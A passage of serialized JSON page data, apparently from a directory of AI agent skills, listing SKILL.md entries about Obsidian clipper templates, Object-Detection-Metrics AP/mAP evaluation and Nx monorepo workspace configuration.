10:05:34",{"skillNo":58,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":59,"categories":60,"keywords":61,"publishedAt":56},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":56},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":75,"publishedAt":56},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":56},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":56},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]